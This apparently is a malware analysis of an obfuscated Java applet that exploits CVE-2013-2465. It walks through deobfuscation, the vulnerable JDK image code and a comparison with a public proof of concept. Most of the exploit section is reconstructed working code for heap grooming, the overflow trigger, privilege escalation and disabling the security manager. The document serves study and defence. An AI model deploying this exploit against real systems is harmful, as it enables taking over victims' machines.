Its MD5 is edd9d9225738e7f76dd8e8c02527b4ed.
By using Procyon decompiler it is possible to recover the applet's sources.
/root_dir/
|
|__Lookback.java
|__Main.java
|__diam.java
|__real.java
|__tutu.java
|__vile.java
The applet's entry point is method Main.init().
@Override
public void init() {
try {
Main.Pibk = this.getCodeBase().toString();
final DataBufferByte dataBufferByte = new DataBufferByte(4);
final String sack = sack("setSecurir3c23v2rrbe", "r3c23v2rrbe", "tyManager");
final Statement statement = new Statement(System.class, sack, new Object[1]);
final tutu tutu = new tutu();
final DataBufferByte play = tutu.play(statement.getTarget(), sack, vile.diag(cera()));
final BufferedImage bufferedImage = new BufferedImage(4, 1, 2);
diam.sons(bufferedImage);
final String sack2 = sack("crr3c23v2rrbeatr3c23v2rrbeWritablr3c23v2rrbeRastr3c23v2rrber", "r3c23v2rrbe", "e");
tutu.bury(bufferedImage, (BufferedImage)real.glee(burs(mayo("Raster"), sack2, null, new Class[] { SampleModel.class, DataBuffer.class, Point.class }, new Object[] { new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null }), kegs(mayo(sack2.substring(6)))));
tutu.fume();
tutu.hops();
foty();
}
catch (Exception ex) {}
}
A brief look at the code shows the use of minor obfuscation. Indeed, strings are stored in an encrypted form and they are then decrypted at run time. The decryption routine appears to be Main.sack(String, String, String) and, as it is easy to guess, it just substitutes a given part of the string with another one.
public static String sack(final String s, final String target, final String replacement) {
return "" + s.replace(target, replacement);
}
Manual deobfuscation seems to be a good choice in this case. However, since the current version of dex2jar's string decryption tool is now able to deal with decryption routines that use multiple parameters, an automatic approach can be adopted. The entire jar can thus be easily patched and then analysed with all the strings in plaintext form. Another static routine, based on Main.sack(String, String, String), adds some obfuscation. It can be simplified by using the same procedure.
static String mayo(final String str) {
return sack("javar3c23v2rrbeawtr3c23v2rrbeimager3c23v2rrbe", "r3c23v2rrbe", ".") + str;
}
The following is the result on the entry point method.
@Override
public void init() {
try {
Main.Pibk = this.getCodeBase().toString();
final DataBufferByte dataBufferByte = new DataBufferByte(4);
final String methodName = "setSecurityManager";
final Statement statement = new Statement(System.class, methodName, new Object[1]);
final tutu tutu = new tutu();
final DataBufferByte play = tutu.play(statement.getTarget(), methodName, vile.diag(cera()));
final BufferedImage bufferedImage = new BufferedImage(4, 1, 2);
diam.sons(bufferedImage);
final String s = "createWritableRaster";
tutu.bury(bufferedImage, (BufferedImage)real.glee(burs("java.awt.image.Raster", s, null, new Class[] { SampleModel.class, DataBuffer.class, Point.class }, new Object[] { new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null }), kegs(mayo(s.substring(6)))));
tutu.fume();
tutu.hops();
foty();
}
catch (Exception ex) {}
}
It's interesting to note that, after deobfuscation, Procyon decompiler was able to track the use of String sack variable, thus changing its name to methodName.
Other than string encryption, a quite deep control-flow obfuscation can be observed. Indeed, code is scattered across custom classes and methods. As a consequence, a significant amount of work is needed to reconstruct the original listing. This kind of obfuscation is rather effective both to hinder a static analysis (e.g. attacks against "intellectual property") and to differentiate the malware sample (e.g. to avoid AV detection).
Exploit
CVE-2013-2465 exploit affects Java versions prior to 7u25. Detailed analyses and a PoC can be easily found on the web; in fact, I conducted this analysis as a personal exercise. However, while comparing Packet Storm's PoC with the malware sample, I noticed some differences in how the exploit is conducted. Thus, the added value of this analysis may be represented by the comparison between the PoC and a malware that operates in the wild. For readability reasons, various statements are slighty modified (mainly de-inlined), if compared to the original decompiled code.The CVE-2013-2465 vulnerability is located within the native storeImageArray() function, inside jre/bin/awt.dll. This routine calls the memcpy() function to copy some image data between two memory locations, using an offset value to locate data that should be copied. The destination address (cDataP) is calculated by adding the offset (hintP->dataOffset) to the destination buffer's address. By modifying cDataP's value it is possible to write outside of the destination buffer, thus overwriting the address space of other objects.
// see ...\jdk\src\share\native\sun\awt\image\awt_parseImage.c
static int storeImageArray(JNIEnv *env, BufImageS_t *srcP, BufImageS_t *dstP, mlib_image *mlibImP)
{
int mStride;
unsigned char *cmDataP, *dataP, *cDataP;
HintS_t *hintP = &dstP->hints;
RasterS_t *rasterP = &dstP->raster;
int y;
...
if (hintP->packing == BYTE_INTERLEAVED) {
// Write it back to the destination
cmDataP = (unsigned char *) mlib_ImageGetData(mlibImP);
mStride = mlib_ImageGetStride(mlibImP);
dataP = (unsigned char *)(*env)->GetPrimitiveArrayCritical(env, rasterP->jdata, NULL);
if (dataP == NULL) return 0;
cDataP = dataP + hintP->dataOffset;
for (y=0; y < rasterP->height;
y++, cmDataP += mStride, cDataP += hintP->sStride)
{
memcpy(cDataP, cmDataP, rasterP->width*hintP->numChans);
}
}
...
}
As pointed out earlier, cDataP depends on two variables, dataP and hintP->dataOffset. The object that can be used to access these variables is BytePackedRaster.
data can be accessed by the byte[] data field of the sun.awt.image.BytePackedRaster object; the data field contains the image's data array.
hintP->dataOffset can be accessed by the int dataBitOffset field; it stores the data bit offset for each pixel of the represented image. Both these fields are initialised within BytePackedRaster's constructor.
// see ...\jdk\src\share\classes\sun\awt\image\BytePackedRaster.java
public BytePackedRaster(SampleModel sampleModel,
DataBuffer dataBuffer,
Rectangle aRegion,
Point origin,
BytePackedRaster parent){
super(sampleModel,dataBuffer,aRegion,origin, parent);
this.maxX = minX + width;
this.maxY = minY + height;
if (!(dataBuffer instanceof DataBufferByte)) {
throw new RasterFormatException("BytePackedRasters must have" +
"byte DataBuffers");
}
DataBufferByte dbb = (DataBufferByte)dataBuffer;
this.data = stealData(dbb, 0); //<-------data
if (dbb.getNumBanks() != 1) {
throw new
RasterFormatException("DataBuffer for BytePackedRasters"+
" must only have 1 bank.");
}
int dbOffset = dbb.getOffset();
if (sampleModel instanceof MultiPixelPackedSampleModel) { //MultiPixelPackedSampleModel object needed
MultiPixelPackedSampleModel mppsm =
(MultiPixelPackedSampleModel)sampleModel;
this.type = IntegerComponentRaster.TYPE_BYTE_BINARY_SAMPLES;
pixelBitStride = mppsm.getPixelBitStride();
if (pixelBitStride != 1 &&
pixelBitStride != 2 &&
pixelBitStride != 4) {
throw new RasterFormatException
("BytePackedRasters must have a bit depth of 1, 2, or 4");
}
scanlineStride = mppsm.getScanlineStride();
dataBitOffset = mppsm.getDataBitOffset() + dbOffset*8; //<-------dataBitOffset
int xOffset = aRegion.x - origin.x;
int yOffset = aRegion.y - origin.y;
dataBitOffset += xOffset*pixelBitStride + yOffset*scanlineStride*8;
bitMask = (1 << pixelBitStride) -1;
shiftOffset = 8 - pixelBitStride;
} else {
throw new RasterFormatException("BytePackedRasters must have"+
"MultiPixelPackedSampleModel");
}
verify(false);
}
It can be seen that data depends on the DataBufferByte object, i.e. the image's data array.
On the other hand, dataBitOffset is calculated based both on the SampleModel object (which has to be an instance of MultiPixelPackedSampleModel) and the DataBufferByte object. The vulnerability is exploited by creating a MultiPixelPackedSampleModel object with an unusually big dataBitOffset. In fact, dataBitOffset's value is not checked while the object is created, thus being assigned to the dataBitOffset field of BytePackedRaster object, as shown in the code above.
Once the dataBitOffset is initialised, its value is then validated through the verify() function. This routine is not very strict, since it is possible to set dataBitOffset roughly 8 times data.length.
private void verify (boolean strictCheck) {
// Make sure data for Raster is in a legal range
if (dataBitOffset < 0) {
throw new RasterFormatException("Data offsets must be >= 0");
}
int lastbit = (dataBitOffset
+ (height-1) * scanlineStride * 8
+ (width-1) * pixelBitStride
+ pixelBitStride - 1);
if (lastbit / 8 >= data.length) {
throw new RasterFormatException("raster dimensions overflow " +
"array bounds");
}
if (strictCheck) {
if (height > 1) {
lastbit = width * pixelBitStride - 1;
if (lastbit / 8 >= scanlineStride) {
throw new RasterFormatException("data for adjacent" +
" scanlines overlaps");
}
}
}
}
Since the BytePackedRaster class cannot be accessed directly, Java public method java.awt.image.Raster.createWritableRaster(MultiPixelPackedSampleModel sm, DataBuffer destination, Point p) is used to create the BytePackedRaster object. The approach used by the exploit is as follows.
First, a "dummy call" is performed in order to initialise the Statement class. A powerful AccessControlContext object is then created. It will be later used to overwrite the acc field of an unprivileged Statement object, to elevate its privileges.
//"dummy call for init"
final Statement statement = new Statement(System.class, "setSecurityManager", new Object[1]);
final Class permissionsClass = Class.forName("java.security.Permissions");
final Class allPermissionClass = Class.forName("java.security.AllPermission");
final Class permissionClass = Class.forName("java.security.Permission");
final Class protectionDomainClass = Class.forName("java.security.ProtectionDomain");
//CodeSource object: it refers to source code files on any path
final CodeSource codeSource = new CodeSource(new URL("file:///"), (Certificate[])null);
//a Permission object is created and supplied with an AllPermission object, thus granting all permissions
final Object gibe = permissionsClass.getConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]);
final Object alp = allPermissionClass.getConstructor((Class<?>[])new Class[0]).newInstance(new Object[0]);
permissionsClass.getMethod("add", new Class[] {permissionClass}).invoke(gibe, new Object[] {alp});
//a ProtectionDomain object is created based on the CodeSource and Permissions objects
final Object ceraobj = protectionDomainClass.getConstructor((Class<?>[])new Class[] {CodeSource.class, PermissionCollection.class}).newInstance(new Object[] {codeSource, gibe});
//finally, a powerful AccessControlContext is created
AccessControlContext acc = new AccessControlContext(new ProtectionDomain[] {(ProtectionDomain)ceraobj});
Both in the PoC and in the malware sample, a set of instructions is used to create the overflow environment. Since it is a heap overflow, various objects are created in a strict order. The malware sample allocates memory in a different manner in respect to the PoC. First, a call to the garbage collector is performed, probably to clean the heap in order to start with cleaner memory. Then, 256 arrays of type int[8] are allocated on the heap, placing the destination buffer in between of them. After them, 256 custom objects are allocated.
//call to garbage collector
Runtime.getRuntime().gc();
real[] pace = new real[256];
int[][] tour = new int[256][];
//an array of int[8] is created
for (int i = 0; i < tour.length; ++i) {
tour[i] = new int[8];
if (i == 128) {
//after 128 array objects out of 256, memory is allocated for the destination image's buffer
final DataBufferByte play = new DataBufferByte(16);
}
}
//256 custom objects are created.
//each object starts with a int field, with value -559035650 (0xDEADCAFE), useful to recognise the objects later
for (int j = 0; j < pace.length; ++j) {
pace[j] = new real(statement.getTarget(), "setSecurityManager", acc);
pace[j].poet = new Statement(System.class, "setSecurityManager", new Object[1]);
}
//custom class
class real {
public volatile int tubo;
public volatile Object pane;
public volatile String lira;
public volatile Statement poet;
public volatile Object fury;
public volatile Object howl;
public real(final Object pane, final String lira, final Object fury) {
super();
this.tubo = this.bush();
this.pane = pane;
this.lira = lira;
this.fury = fury;
}
int bush() {
return -559035650;
}
}
This leads to the following memory configuration.
Object type Memory (ascending)
================= ==================
int[8] 128 objects * 32 Byte each one
DataBufferByte a single object * 64 Byte
int[8] 128 objects * 32 Byte each one
real custom class 256 objects * 60 Byte each one
real custom object:
Field name Field type Value
========== ==================== =====
tubo int 0xDEADCAFE
pane Class points to the following Statement's System.class
lira String "setSecurityManager"
poet Statement a default Statement object, using a default AccessControlContext
fury AccessControlContext the privileged AccessControlContext object
howl Object null
On the other hand, the PoC is more minimalist (in fact, it allocates a subset of the malware's data structures) and produces the following objects.
Object type Memory (ascending)
============== ==================
DataBufferByte a single object * 64 Byte
int[8] a single object * 32 Byte
Object[7] a single object * 112 Byte
Object array:
Index Field type Value
===== ==================== =====
0 Object null
1 Object null
2 Statement a default Statement object, using a default AccessControlContext
3 AccessControlContext the privileged AccessControlContext object
4 Class points to the previous Statement's System.class
5 Object null
6 Object null
To speculate on the differences, two reasons may explain the approach used by the malware sample. First, the exploit is made more reliable, since having redundant elements it is more probable for it to find the necessary objects within a memory configuration that may be different from an execution environment to another. Second, with redundant elements it's easier to apply little changes to achieve differentiation.
The overflow is then performed by executing the AffineTransformOp.filter(BufferedImage bi1, BufferedImage bi2) method, specifying the previosly allocated DataBufferByte object as the destination of the memcpy() routine. A custom ComponentColorModel is supplied to the BufferedImage constructor, in order to fool the if (hintP->packing == BYTE_INTERLEAVED) check within the storeImageArray() function. The source image is carefully constructed, in order to control the data that will overflow from the destination buffer. Indeed, the first pixel of the source image is crafted to look like 0xFFFFFF7F in memory (0xFFFFFFFF in the PoC). This value overwrites the following int[8]'s length field. As a consequence, by using the modified array it is possible to point to memory locations far beyond the array's original memory.
//helper class 1
class diam extends ComponentColorModel {
public diam(final ICC_Profile icc_Profile) {
super(new vile(icc_Profile), new int[] {8, 8, 8}, false, false, 1, 0);
}
//if (hintP->packing == BYTE_INTERLEAVED) can be fooled by always returning true
@Override
public boolean isCompatibleRaster(final Raster raster) {
return true;
}
}
//helper class 2
class vile extends ICC_ColorSpace {
public vile(final ICC_Profile profile) {
super(profile);
}
@Override
public int getNumComponents() {
return 1;
}
}
//a regular source image is created
final BufferedImage src_bufferedImage = new BufferedImage(4, 1, 2);
//first pixel is set, to overwrite the 129th int[8] array's length with 0xFFFFFF7F
final Class writableRaster = Class.forName("java.awt.image.WritableRaster");
writableRaster.getMethod("setPixel", new Class[] {Integer.TYPE, Integer.TYPE, int[].class}).invoke(src_bufferedImage.getRaster(), new Object[] {0, 0, {-1, -1, -1, 127}});
final Class raster = Class.forName("java.awt.image.Raster");
final Class bufferedImage = Class.forName("java.awt.image.BufferedImage");
//createWritableRaster() makes possible to create the BytePackedRaster object. dataBitOffset is set to 44
final Object burs = raster.getMethod("createWritableRaster", new Class[] {SampleModel.class, DataBuffer.class, Point.class}).invoke(null, new Object[] {new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44), play, null});
//a custom ColorModel is provided to the BufferedImage constructor
final BufferedImage dst = (BufferedImage)bufferedImage.getConstructor((Class<?>[])new Class[] {ColorModel.class, writableRaster, Boolean.TYPE, Hashtable.class}).newInstance(new Object[] {new diam(ICC_Profile.getInstance(1000)), burs, false, null});
//invocation of the vulnerable native function storeImageArray()
new AffineTransformOp(new AffineTransform(1.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f), null).filter(src_bufferedImage, dst);
The patched array is located by checking its length.
int i = 0;
int[] lime;
while (i < tour.length) {
if (tour[i].length > 8) { //if > 8, length has been modified by overflow data
lime = tour[i]; //the modified array with length == 0xFFFFFF7F is now assigned to lime
if (lime == null)
throw new Exception();
break;
}
else
++i;
}
Once the patched array has been located, it is used to elevate the default Statement object's privileges. The custom real objects are located by using the distinctive tubo field (0xDEADCAFE). Then, two modifications are performed: the tubo field is modified into 0xCAFEDEAD, and the methodName field of the default Statement object is turned into null. Finally, the acc field of the unprivileged Statement object is overwritten with the reference to the privileged AccessControlContext object. The Statement's methodName field is restored to "setSecurityManager" and the Statement is executed, thus disabling the security manager.
As with the memory configuration, the malware performs more operations than the PoC, which, in this situation, limits itself to overwriting the acc field and executing the modified Statement object.
final int n = -559035650; //0xDEADCAFE
for (int n2 = 0, n3 = 0; n2 < 4096 && n3 < 10; ++n2) {
if (lime[n2] == n) { //n2 points to the beginning of one of the custom objects (tubo field, 0xDEADCAFE)
if (lime[n2 + 5] == 0) { //howl field, it is null
lime[n2] = -889266515; //tubo = 0xCAFEDEAD
final int n4 = lime[n2 + 1]; //pane field. points to the next Statement object's target (System.class)
final int n5 = lime[n2 + 2]; //lira field. it contains the String "setSecurityManager"
int n6;
//n6 points to the acc field of the Statement object
for (n6 = n2 + 5; n6 < n2 + 25 && lime[n6] != n; ++n6) {
if (lime[n6 + 1] == n4) { //Statement's target is in fact equal to pane field
if (lime[n6 + 2] == n5) {
lime[n6 + 2] = 0; //Statement's methodName = null
int i = 0;
//256 times, for each custom object of the array
while (i < pace.length) {
//search for the custom object we just modified
if (pace[i].tubo == -889266515) { //tubo field
if (pace[i].poet.getMethodName() != null) { //Statement's methodName
continue;
}
lime[n6] = lime[n2 + 4]; //Statement's AccessControlContext is now fury
lime[n6 + 2] = n5; //Statement's methodName is restored to "setSecurityManager"
try {
//call System.setSecurityManager(null) by the execute() method
pace[i].poet.execute();
return; //GO TO PAYLOAD
}
catch (Exception ex) {
++i;
continue;
}
break;
}
}
}
}
}
n2 = n6;
++n3;
}
}
}
throw new Exception();